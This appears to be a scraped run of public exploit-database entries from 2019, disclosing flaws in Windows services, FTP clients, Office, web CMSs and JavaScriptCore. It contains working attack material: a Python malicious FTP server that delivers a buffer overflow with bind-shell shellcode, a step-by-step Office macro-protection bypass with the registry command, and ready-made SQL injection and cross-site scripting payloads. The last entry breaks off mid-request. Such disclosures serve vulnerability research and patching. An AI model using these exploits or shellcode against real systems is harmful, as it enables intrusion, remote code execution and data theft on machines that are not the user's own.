# Title: Launch Manager 6.1.7600.16385 'DsiWMIService' Unquoted Service Path
# Author: Gustavo Briseño
# Date: 2019-11-03
# Vendor Homepage: https://www.acer.com/
# Software Link: https://global-download.acer.com/GDFiles/Application/LaunchManager/LaunchManager_Dritek_6.1.7600.16385_W7x86W7x64_A.zip?acerid=634193506101268520&Step1=NOTEBOOK&Step2=ASPIRE&Step3=ASPIRE%204333&OS=ALLLC=es&BC=ACER&SC=PA_2#_ga=2.248825730.460116227.1572829430-701800474.1572829429
# Version : Launch Manager 6.1.7600.16385
# Tested on: Windows 7 Home Basic 64bit
# CVE : N/A

# =====================================================
# 1. Description:
# Unquoted service paths in DsiWMIService have an unquoted service path.

#PoC
===========
C:\>sc qc DsiWMIService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DsiWMIService
        TYPE                                : 10  WIN32_OWN_PROCESS
        START_TYPE                   : 2   AUTO_START
        ERROR_CONTROL         : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Launch Manager\dsiwmis.exe
        LOAD_ORDER_GROUP :
        TAG                                  : 0
        DISPLAY_NAME              : Dritek WMI Service
        DEPENDENCIES               :
        SERVICE_START_NAME : LocalSystem

C:\>

#Exploit:
============
A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other
security applications where it could potentially be executed during
application startup or reboot. If successful, the local user's code
would execute with the elevated privileges of the application.

# Exploit Title: Ayukov NFTP client 1.71 -  'SYST' Buffer Overflow
# Date: 2019-11-03
# Exploit Author: Chase Hatch (SYANiDE)
# Vendor Homepage: http://ayukov.com/nftp/
# Software Link: ftp://ftp.ayukov.com/pub/nftp/nftp-1.71-i386-win32.exe
# Version: 1.71
# Tested on: Windows XP Pro SP0, SP1, SP2, SP3
# CVE : https://nvd.nist.gov/vuln/detail/CVE-2017-15222
# Steps to reproduce:
# Run the server with the valid Windows version
# Connect the client to the malicious server
# bind shell on port 5150

#!/usr/bin/env python2
import os, sys, socket

NARGS = len(sys.argv)

# ntdll.dll # dllcharacteristics flags: 0x0 (ASLR=no, DEP=no, SEH=yes)
# kernel32.dll # dllcharacteristics flags: 0x0 (ASLR=no, DEP=no, SEH=yes)
# 7C923A95   FFD6  CALL ESI  # Windows XP Pro SP3; ntdll.dll
# 7C927543   FFD6  CALL ESI# Windows XP Pro SP2; ntdll.dll
# 77E641C7   FFE6  JMP ESI# Windows XP Pro SP1; kernel32.dll
# 77E667F3   FFE6  JMP ESI# Windows XP Pro SP0: kernel32.dll
tourRETs = {
"XPProSP3": "\x95\x3A\x92\x7c",
"XPProSP2": "\x43\x75\x92\x7C",
"XPProSP1": "\xc7\x41\xe6\x77",
"XPProSP0": "\xf3\x67\xe6\x77"
}


if not NARGS > 1:
print("USAGE: %s version" % sys.argv[0])
print("[.] version must be in:")
for item in tourRETs:
print("\t%s" % item)
sys.exit(1)


# sploit = "A"*5000  # crash!  in SYST cmd, 41414141 in EIP and EBP
# ESP and ESI both pointers to somewhere in the As
#  If I increase the overflow string to 10000, the area ESP points to at crash
#, goes from 864 bytes of uninterrupted \x41's to roughly 4056 bytes.
# sploit = "A"*10000
# sploit = sys.argv[1]  # $(`locate pattern_create.rb|head -n 1` 10000) # 46326846 in EIP
# `locate pattern_offset.rb |head -n 1` 46326846 10000  # 4116
sploit = "A"*4116

# Add the return address
try:
sploit +=  tourRETs[sys.argv[1]]
except KeyError, x:
print("[!] Version %s: not a valid version!  Possibly bad capitalization" % str(x))
sys.exit(1)

sploit += ("\x90"*12)  # original calcs based on RET*4... oops. realign.

# echo "ibase=16;obase=10;0247CED1 - 0247C834" |bc  # 0x69D (1693); ESP-ESI
sploit += "\x90"*1693 # leaves 16 nops at jmp/call target before Cs


# badchars = "\x00\x0a\x0d"
# locate EIP and align ESP to a close future 4 and 16 byte boundary
NOTES = """\
$-37     > D9EE             FLDZ
$-35     > D97424 F4        FSTENV (28-BYTE) PTR SS:[ESP-C]
$-31     > 59               POP ECX
$-30     > 80C1 09          ADD CL,9
$-2D     > 80C1 04          ADD CL,4
$-2A     > 80C1 2A          ADD CL,2A
$-27     > 80C5 01          ADD CH,1
$-24     > 51               PUSH ECX
$-23     > 5C               POP ESP
"""
sploit += "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xc1\x09\x80\xc1\x04" #13 bytes
sploit += "\x80\xc1\x2a\x80\xc5\x01\x51\x5c" # 8 bytes
sploit += "\x90" * 0x22  # ESP = EIP
sploit += "\x90" * 20  # sled for shikata_ga_nai unpack

# msfvenom -p windows/shell_bind_tcp LPORT=5150 EXITFUNC=process 
# -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -i 1 -f c
sploit += (
"\xba\xd2\xe1\x61\xb1\xdb\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x53\x0e\x03\x81\xef\x83\x44\xd9\x18\xc1"
"\xa7\x21\xd9\xa6\x2e\xc4\xe8\xe6\x55\x8d\x5b\xd7\x1e\xc3\x57"
"\x9c\x73\xf7\xec\xd0\x5b\xf8\x45\x5e\xba\x37\x55\xf3\xfe\x56"
"\xd5\x0e\xd3\xb8\xe4\xc0\x26\xb9\x21\x3c\xca\xeb\xfa\x4a\x79"
"\x1b\x8e\x07\x42\x90\xdc\x86\xc2\x45\x94\xa9\xe3\xd8\xae\xf3"
"\x23\xdb\x63\x88\x6d\xc3\x60\xb5\x24\x78\x52\x41\xb7\xa8\xaa"
"\xaa\x14\x95\x02\x59\x64\xd2\xa5\x82\x13\x2a\xd6\x3f\x24\xe9"
"\xa4\x9b\xa1\xe9\x0f\x6f\x11\xd5\xae\xbc\xc4\x9e\xbd\x09\x82"
"\xf8\xa1\x8c\x47\x73\xdd\x05\x66\x53\x57\x5d\x4d\x77\x33\x05"
"\xec\x2e\x99\xe8\x11\x30\x42\x54\xb4\x3b\x6f\x81\xc5\x66\xf8"
"\x66\xe4\x98\xf8\xe0\x7f\xeb\xca\xaf\x2b\x63\x67\x27\xf2\x74"
"\x88\x12\x42\xea\x77\x9d\xb3\x23\xbc\xc9\xe3\x5b\x15\x72\x68"
"\x9b\x9a\xa7\x05\x93\x3d\x18\x38\x5e\xfd\xc8\xfc\xf0\x96\x02"
"\xf3\x2f\x86\x2c\xd9\x58\x2f\xd1\xe2\x72\xae\x5c\x04\x10\xde"
"\x08\x9e\x8c\x1c\x6f\x17\x2b\x5e\x45\x0f\xdb\x17\x8f\x88\xe4"
"\xa7\x85\xbe\x72\x2c\xca\x7a\x63\x33\xc7\x2a\xf4\xa4\x9d\xba"
"\xb7\x55\xa1\x96\x2f\xf5\x30\x7d\xaf\x70\x29\x2a\xf8\xd5\x9f"
"\x23\x6c\xc8\x86\x9d\x92\x11\x5e\xe5\x16\xce\xa3\xe8\x97\x83"
"\x98\xce\x87\x5d\x20\x4b\xf3\x31\x77\x05\xad\xf7\x21\xe7\x07"
"\xae\x9e\xa1\xcf\x37\xed\x71\x89\x37\x38\x04\x75\x89\x95\x51"
"\x8a\x26\x72\x56\xf3\x5a\xe2\x99\x2e\xdf\x12\xd0\x72\x76\xbb"
"\xbd\xe7\xca\xa6\x3d\xd2\x09\xdf\xbd\xd6\xf1\x24\xdd\x93\xf4"
"\x61\x59\x48\x85\xfa\x0c\x6e\x3a\xfa\x04"
) # 355
sploit += "C" * (10000 - 4116 - 4 - 12 - 1693 - 13 - 8 - 0x22 - 355 - 20)


cases = {
"USER": "331 user OK. Pass required",
"PASS": "230 OK, current directory is /",
# "SYST": "215 UNIX Type: L8",

"SYST": sploit,# CRASH! in response to SYST cmd/request, w/"A"*5000, 41414141 in EIP and EBP

"TYPE": "200 TYPE is whatever was just requested... \"yeah, ok\"",
"SITE UMASK": "500 SITE UMASK is an unknown extension",
"CWD": "250 OK, current directory whatever you think it is",
"PORT": "200 PORT command successful",
"PASV": "227 Entering PASV mode",
"LIST": "150 Connecting to whatever port.\r\n226 ASCII\r\n226 Options: -a -l\r\n226 3 matches total"
}


sx = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sx.bind(("192.168.56.181",21))
sx.listen(5)
print("[.] Standing up HostileFTPd v0.0 alpha, port 21")
cx,addr = sx.accept()
print("[!] Connection received from %s" % str(addr))
cx.send("220 HostileFTPd v0.0 alpha !\r\n")
notified = 0
while True:
req = cx.recv(1024)
for key, resp in cases.items():
if key in req:
cx.send(resp + "\r\n")
if "SITE UMASK" in req and notified == 0:
print("[!]  Buffer sent.  Bind shell on client's port 5150?")
notified = 1
if "PASV" in req:
justpause = raw_input("[.] PASV received.  Pausing recv buffer")


NOTES="""\
### followed TCP stream in normal client connect to ftp server
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 13:47. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
USER bozo
331 User bozo OK. Password required
PASS theclown
230-User bozo has group access to:  1003      
230 OK. Current directory is /
SYST
215 UNIX Type: L8
TYPE I
200 TYPE is now 8-bit binary
SITE UMASK 022
500 SITE UMASK is an unknown extension
CWD /
250 OK. Current directory is /
PASV
227 Entering Passive Mode (192,168,56,181,183,29)
LIST -a
150 Accepted data connection
226-ASCII
226-Options: -a -l 
226 3 matches total
"""

# Exploit Title: Microsoft Office365 Remote Code Execution Vulnerability
# Date: 2/11/19
# Exploit Author: Social Engineering Neo - @EngineeringNeo
# Vendor Homepage: https://microsoft.com
# Software Link: https://office.com
# Version: Office365/ProPlus (build 16.0.11727.20222, 16.0.11901.20170, 16.0.11901.20204 & 16.0.11929.202.88)
# Tested on: Windows 10 (build 17763.253, 18362.295 & 18362.356)


Microsoft Office .docx to .docm Protection Bypass Allowing Remote Code Execution by Social Engineering Neo.


Affected Platforms: -
Microsoft Windows ≤10
Office365 & ProPlus Products ≤2019


Tested On: -
Windows 10 (build 17763.253, 18362.295 & 18362.356)
Office365/ProPlus (build 16.0.11727.20222, 16.0.11901.20170, 16.0.11901.20204 & 16.0.11929.202.88)
Most up to-date version of Microsoft Windows & Office365/ProPlus Products are affected.


Base: -
CWE-325 - Missing Required Cryptographic Step.
The software does not implement a required step in a cryptographic algorithm used to validate the original integrity of documents.


Summary: -
Overwriting Registry Keys on a Machine Allows Full Protection Bypass, allowing .docx document to execute macro-enabled code.
Although Similar to https://github.com/SocialEngineeringNeo/Exploits/blob/master/Our%20Exploits/Microsoft/Office/PrdctRCE_Report.txt, not the same.
This is Due to Improper Integrity Validation of Office Documents Resulting in Multiple Microsoft Office Products Suffering from a Protection Bypass Vulnerability. Allowing Auto-Execution of Macro Code Inside Macro-Enabled Office Documents.


Short Description: -
Overwriting an original .docx document with a malicious .docx document will bypass the built-in protections.


Long Description: -
A user creates a .docx MS Word document and saves the document with macro code inside.
When a single registry key is modified/added, this could allow execution of code within documents which do not support macro code execution.


Proof of Concept: -
=====
Tested on Latest Versions of Access, Excel, InfoPath, OneNote, Outlook, PowerPoint, Project, Publisher, Visio, Word.

Affects Access, Excel, InfoPath, PowerPoint, Visio, Word.
Does not affect OneNote, Outlook, Project, Publisher.

ATTACKER: -
Step 1.) -    Craft .reg or .psh file to modify registry keys.
Step 2.) -    Open original document on ATTACKER machine, note the binary values of 'HKCU\Software\Microsoft\Office\16.0\Word\Security\Trusted Documents\Trust Records\[FILENAME]'
Step 2.1.) -  Inject malicious VBA macro code & payload into .docx Office document.    *preferably AV evasive, don’t save as .docm*
Step 3.) -    Send malicious .reg and .docx document to VICTIM through internet.
Step 4.) -    Setup bind/reverse connection.

VICTIM: -
Step 1.) -    Download document sent by ATTACKER.
Step 2.) -    Run .reg or .psh    *without admin privileges*
Step 2.1) -   Open .docx Document.

[CODE EXECUTION SUCCESSFUL]


Reg key '%USERPROFILE%/Documents/PoC.docx' value modified from '933A80188373 D5010028A153C5FFFFFF92348F01 01000000' => '4E82A24F8876 D5010028A153C5FFFFFF92348F01 FFFFFF7F'
The beginning 7 bytes (933A80188373) of the binary registry value seems to be computer/file/network specific, meaning as long as you are within the same system or network this bypass would work out-of-the-box from copying the middle 15 bytes of the original document and overwriting the final 4 bytes (FFFFFF7F) with the mentioned values.

Ending with:
01000000 = Open without Protected view.
FFFFFF7F = Allow document execution.

PowerShell:
reg add "HKCU\Software\Microsoft\Office\16.0\Word\Security\Trusted Documents\TrustRecords" /v %USERPROFILE%/Documents/PoC.docx /t REG_BINARY /d 4E82A24F8876D5010028A153C5FFFFFF92348F01FFFFFF7F *Manual adjustment of /d will be required*

VIDEO: -   https://youtu.be/-yfjdHOgNT8

Video demo uses .docx and .docm for simplicity.
Essentially, we are giving macro-enabled auto execute permissions to the .docx file, allowing remote code execution.
=====


Expected Result: -
It shouldn't be possible to automatically execute macro code within a .docx document.
(Clean Install)


Observed Result: -
Office .docx document auto-executes macro code upon loading document without any user consent, in our case leading to remote code execution.
(User Level Access)


Our Recommendation: -
Generating a hash value of the document once changes have been made will greatly reduce the exploitability.
Once file is reopened by user, check whether the hash of the filename is the same as last changes.
If the current hash value and filename do not match the previous modification of document, open in protected view and prevent scripts from running.
Additional registry key hardening would be possible.

Information
--------------------

Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in ilchCMS 2.1.23
Affected Software: ilchCMS
Affected Versions: 2.1.23
Vendor Homepage: https://www.ilch.de/
Vulnerability Type: Cross-site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-016

Technical Details
--------------------

URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index
Parameter Name: Link
Parameter Type: Post
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index
Parameter Name: Name
Parameter Type: Post
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-ILCHCMS}/index.php/partner/index
Parameter Name: Banner
Parameter Type: Post
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x00BFFE)</scRipt>

Note

   - Auth: No
   - Token: Yes


For more information:
https://www.netsparker.com/web-applications-advisories/ns-19-016-cross-site-scripting-in-ilchcms/

# Exploit Title: thejshen Globitek CMS 1.4 - 'id' SQL Injection
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/thejshen/contentManagementSystem
# Software Link: https://github.com/thejshen/contentManagementSystem.git
# Version: 1.4
# Tested on: CentOS 7
# CVE: N/A

# The GET request for content ID is vulnerable to Union, Bolean and Time-Based Blind SQL injection

# Parameter: id (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Vector: AND [INFERENCE]

Payload: id=4' AND 5143=5143-- OWXt

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Payload: id=4' AND (SELECT 4841 FROM (SELECT(SLEEP(5)))eqmp)-- ZwTG

# Type: UNION query
# Title: Generic UNION query (NULL) - 5 columns
# Vector:  UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]    

Payload: id=-4903' UNION ALL SELECT NULL,NULL,CONCAT(0x716a706b71,0x66766f636c546750775053685352676c4f70724d714c4b64494e755252765a626370615a565a4b49,0x717a6a7671),NULL,NULL-- hkoh

# Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path
# Date: 2019-11-09
# Exploit Author: Diego Armando Buztamante Rico
# Vendor Homepage: www.bluestacks.com
# Software Link: www.bluestacks.com
# Version: 2.4.44.62.57
# Tested on: Windows 8.1 Pro
# CVE: NA

#Description
#Blue Stacks is an application which allows to run mobile apps on Windows and Mac. 
#The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app.
#The service suffers from an unquoted path.

#PoC using CMD
#Command to discover the unquoted path:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"

#As a result we have

BlueStacks Log Rotator Service       BstHdLogRotatorSvc       C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe        Auto

#We use the name of service to get its information using next command.

C:\Users\user>sc qc BstHdLogRotatorSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BstHdLogRotatorSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : BlueStacks Log Rotator Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# Exploit Title: Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path
# Date: 2019-11-04
# Exploit Author: Samuel DiazL
# Vendor Homepage: https://www.network-inventory-advisor.com/
# Software Link: https://www.network-inventory-advisor.com/download.html
# Version: 5.0.26.0
# Tested on: Microsoft Windows 10 Enterprise x64 ESP
# CVE: N/A

# Description:
# Network Inventory Advisor installs niaservice as a service with an unquoted service path

C:\Users\SD502812>sc qc niaservice
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: niaservice
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ClearApps\Network Inventory Advisor\niaservice.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Network Inventory Advisor Service by ClearApps Software
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# Exploit Title:  FileOptimizer 14.00.2524 - Denial of Service (PoC)
# Date: 2019-11-04
# Exploit Author: Chase Hatch (SYANiDE)
# Vendor Homepage: https://sourceforge.net/projects/nikkhokkho/
# Software Link: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/14.00.2524/FileOptimizerSetup.exe/download
# Version: 14.00.2524
# Tested on: Windows 7 Ultimate x86 SP0
# CVE : none

## Steps to reproduce
## Open application for the first time so it generates "FileOptimizer32.ini" in the install directory
## Run the PoC
## Open FileOptimizer again, navigating to "Optimize" / "Options".
## Click OK to crash

#! /usr/bin/env python
import os, sys, re

test="TempDirectory="  # variable/str in config file to replace with buffer
dir = "C:\\Program Files\\FileOptimizer\\"
file = "FileOptimizer32.ini"

sploit = "A"*5000

temp = open(dir+file,'r').read()
temp2 = re.sub(test, test + sploit, temp) 
with open(dir+file,'w') as F:
    F.write(temp2)
    F.close()

# Exploit Title: rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/rimbalinux/AhadPOS
# Software Link: https://github.com/rimbalinux/AhadPOS.git
# Version: 1.11
# Tested on: CentOS 7
# CVE: N/A

# PoC for time-based and boolean based blind SQL injection

# Parameter: alamatCustomer (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])    

Payload: namaCustomer=test&alamatCustomer=test'||(SELECT 0x4b686f74 FROM DUAL WHERE 8368=8368 AND (SELECT 9520 FROM (SELECT(SLEEP(5)))gtad))||'&telpCustomer=12312345&keterangan=tester

# Parameter: barcode (POST)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause
# Vector: OR [INFERENCE]    

Payload: barcode=-3529' OR 4127=4127-- HRDC&jumBarang=1&btnTambah=(t) Tambah

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])    

Payload: barcode=123' AND (SELECT 1256 FROM (SELECT(SLEEP(5)))Nhnk)-- zXsC&jumBarang=1&btnTambah=(t) Tambah

# Exploit Title: thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project
# Software Link: https://github.com/thrsrossi/Millhouse-Project.git
# Version: 1.414
# Tested on: CentOS 7
# CVE: N/A

# PoC for this XSS attack

POST /includes/add_comment_sql.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/views/single_post.php?post_id=53
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=0sqr9kui308rq66ol1uu5olb94; submenu1=block; showips=10; showurls=10; showreferers=10
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

content=%3Cscript%3Ealert%28%22TEST%22%29%3B%3C%2Fscript%3E

JSC: Type confusion during bailout when reconstructing arguments objects

The following sample was found by Fuzzilli and then slightly modified. It crashes JSC in debug builds:

    function main() {
    const v2 = [1337,1337];
    const v3 = [1337,v2,v2,0];
    Object.__proto__ = v3;
    for (let v10 = 0; v10 < 1000; v10++) {
        function v11(v12,v13) {
            const v15 = v10 + 127;
            const v16 = String();
            const v17 = String.fromCharCode(v10,v10,v15);
            const v19 = Object.shift();
            function v23() {
                let v28 = arguments;
            }
            const v29 = Object();
            const v30 = v23({},129);
            const v31 = [-903931.176976766,v17,,,-903931.176976766];
            const v32 = v31.join(\"\");

            try {
                const v34 = Function(v32);
                const v35 = v34();
                for (let v39 = 0; v39 < 127; v39++) {
                    const v41 = isFinite();
                    let v42 = isFinite;
                    function v43(v44,v45,v46) {
                    }
                    const v47 = v41[4];
                    const v48 = v47[64];
                    const v49 = v35();
                    const v50 = v43();
                    const v51 = v34();
                }
            } catch(v52) {
            }

        }
        const v53 = v11();
    }
    }
    noDFG(main);
    noFTL(main);
    main();

Crashes with:

    ASSERTION FAILED: cell->inherits(*cell->JSC::JSCell::vm(), std::remove_pointer<T>::type::info())
    ../../Source/JavaScriptCore/runtime/WriteBarrier.h(58) : void JSC::validateCell(T) [T = JSC::JSFunction *]
    1   0x108070cb9 WTFCrash
    2   0x103907f0b WTFCrashWithInfo(int, char const*, char const*, int)
    3   0x106c0900f void JSC::validateCell<JSC::JSFunction*>(JSC::JSFunction*)
    4   0x106c0275f JSC::WriteBarrierBase<JSC::JSFunction, WTF::DumbPtrTraits<JSC::JSFunction> >::set(JSC::VM&, JSC::JSCell const*, JSC::JSFunction*)
    5   0x10705a727 JSC::DirectArguments::setCallee(JSC::VM&, JSC::JSFunction*)
    6   0x107084753 operationCreateDirectArgumentsDuringExit
    7   0x4d8af2e06484
    8   0x4d8af2e034c3
    9   0x1078661b7 llint_entry
    10  0x107848f70 vmEntryToJavaScript
    11  0x107740047 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*)
    12  0x10773f650 JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*)
    13  0x107a9afc5 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&)
    14  0x1039549a6 runWithOptions(GlobalObject*, CommandLine&, bool&)
    15  0x10392a10c jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const
    16  0x103909aff int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&)
    17  0x103908893 jscmain(int, char**)
    18  0x10390880e main
    19  0x7fff79ad63d5 start

The assertion indicates a type confusion. In particular, setCallee stores a JSCell into a WriteBarrier<JSFunction> which is not actually a JSFunction, triggering this assertion.

Below is my preliminary analysis of the bug.

When DFG compiles v11, it decides to inline v23 and the isFinite function. The relevant parts of the resulting DFG graph (with many omissions) follow:

 # Inlined v23
     2  0:   --> v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)>
 38  2  0:    207:< 1:->\tGetScope(Check:Untyped:@169, JS|PureInt, R:Stack(-23), bc#1, ExitValid)
 39  2  0:    208:<!0:->\tMovHint(Check:Untyped:@207, MustGen, loc30, R:Stack(-23), W:SideState, ClobbersExit, bc#1, ExitValid)
 40  2  0:    209:< 1:->\tSetLocal(Check:Untyped:@207, loc30(QC~/FlushedJSValue), R:Stack(-23), W:Stack(-31), bc#1, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#3, ExitValid)  predicting None

 44  2  0:    213:< 1:->\tCreateDirectArguments(JS|PureInt, R:Stack,Stack(-23),HeapObjectCount, W:HeapObjectCount, Exits, ClobbersExit, bc#7, ExitValid)
 45  2  0:    214:<!0:->\tMovHint(Check:Untyped:@213, MustGen, loc32, R:Stack(-23), W:SideState, ClobbersExit, bc#7, ExitInvalid)
 46  2  0:    215:< 1:->\tSetLocal(Check:Untyped:@213, loc32(SC~/FlushedJSValue), R:Stack(-23), W:Stack(-33), bc#7, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#9, ExitValid)  predicting None
     2  0:   <-- v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)>

     4  0: Block #4 (bc#317): (OSR target)
 24  4  0:  322:< 1:->\tJSConstant(JS|PureInt, Weak:Object: 0x1078e4000 with butterfly 0x18052e8408 (Structure %C0:global), StructureID: 40546, bc#347, ExitValid)
 27  4  0:  325:< 1:->\tSetLocal(Check:Untyped:@322, loc30(DE~/FlushedJSValue), W:Stack(-31), bc#347, exit: bc#354, ExitValid)  predicting None

 # Inlined isFinite()
     4  0:   --> isFinite#DJEgRe:<0x1078a4640 (StrictMode), bc#362, Call, known callee: Object: 0x1078cfd50 with butterfly 0x0 (Structure %Cm:Function), StructureID: 63290, numArgs+this = 1, numFixup = 1, stackOffset = -38 (loc0 maps to loc38)>
 37  4  0:    335:< 1:->\tJSConstant(JS|PureInt, Undefined, bc#0, ExitValid)
 38  4  0:    336:<!0:->\tMovHint(Check:Untyped:@322, MustGen, loc32, W:SideState, ClobbersExit, bc#0, ExitValid)
 41  4  0:    339:< 1:->\tSetLocal(Check:Untyped:@322, loc32(FE~/FlushedJSValue), W:Stack(-33), bc#0, ExitValid)  predicting None

Note that some bytecode registers (locX) are reused to hold different values in this code.

The DFGPhantomInsertionPhase is responsible for identifying bytecode registers (locX) that have to be recovered during a bailout and placing Phantom nodes into the IR to ensure the required DFG values are alive so the bytecode registers can be restored from them. When the DFGPhantomInsertionPhase phase runs on this code and wants to determine the values needed for a bailout somewhere at the start of the try block, it decides that loc32 would have to be restored as it is assigned above but still used further down (in the inlined code of isFinite). As such, it inserts a Phantom node. When the bailout then actually happens (presumably because the `new Function()` fails), loc32 is attempted to be restored (by then, CreateDirectArguments has been replaced by a PhantomCreateDirectArguments which doesn't actually create the arguments object unless a bailout happens), resulting in a call to operationCreateDirectArgumentsDuringExit. This call requires the value of `callee` as argument. As such, the callee value is reconstructed as well. In the inlined callframe, the callee value is expected to be stored in loc30 (I think). However, by the time the bailout happens, loc30 has been reused, in this case by storing the global object into it. As such, the code that recovers the values (incorrectly) restores the callee value to the global object and passes it to operationCreateDirectArgumentsDuringExit. When this reference is then stored into a WriteBarrier<JSFunction> during a call to setCallee, an assertion is raised in debug builds. It is not clear to me at which point a different decision should have been made here.

Unfortunately, it is quite tedious to manually modify this sample as most changes to it will quickly break the specific bytecode register allocation outcome required to trigger the bug. I could imagine this bug to be exploitable if the invalid callee value is somehow subsequently accessed by code, e.g. user supplied code, the GC, or other parts of the engine that inspect bytecode registers, and assumed to be a JSFunction*. However, I have not verified that this is possible.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.


Related CVE Numbers: CVE-2019-8820.



Found by: saelo@google.com

# Exploit Title: SD.NET RIM 4.7.3c - 'idtyp' SQL Injection
# Date: 2019-11-05
# Exploit Author: Fabian Mosch (r-tec IT Security GmbH)
# Vendor Homepage: https://www.sitzungsdienst.net/
# Software Link: https://www.sitzungsdienst.net/2018/12/sd-net-rim-4-7-3-veroeffentlicht/
# Version: < 4.7.3c
# Tested on: < 4.7.3c
# CVE : N/A

# SD.NET RIM before version 4.7.3c is vulnerable to a SQL-Injection vulnerability. To Exploit the vulnerability 
# an attacker has to inject arbitrary SQL Statements in the following POST parameters:

POST /vorlagen/?__=SOMEBASE64 HTTP/1.1
Host: VulnerableHost.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: https://vulnerablehost.com
Connection: close
Referer: https://vulnerablehost.com/vorlagen/?__=BASE64
Cookie: PHPSESSID250=SESSIONID
Upgrade-Insecure-Requests: 1

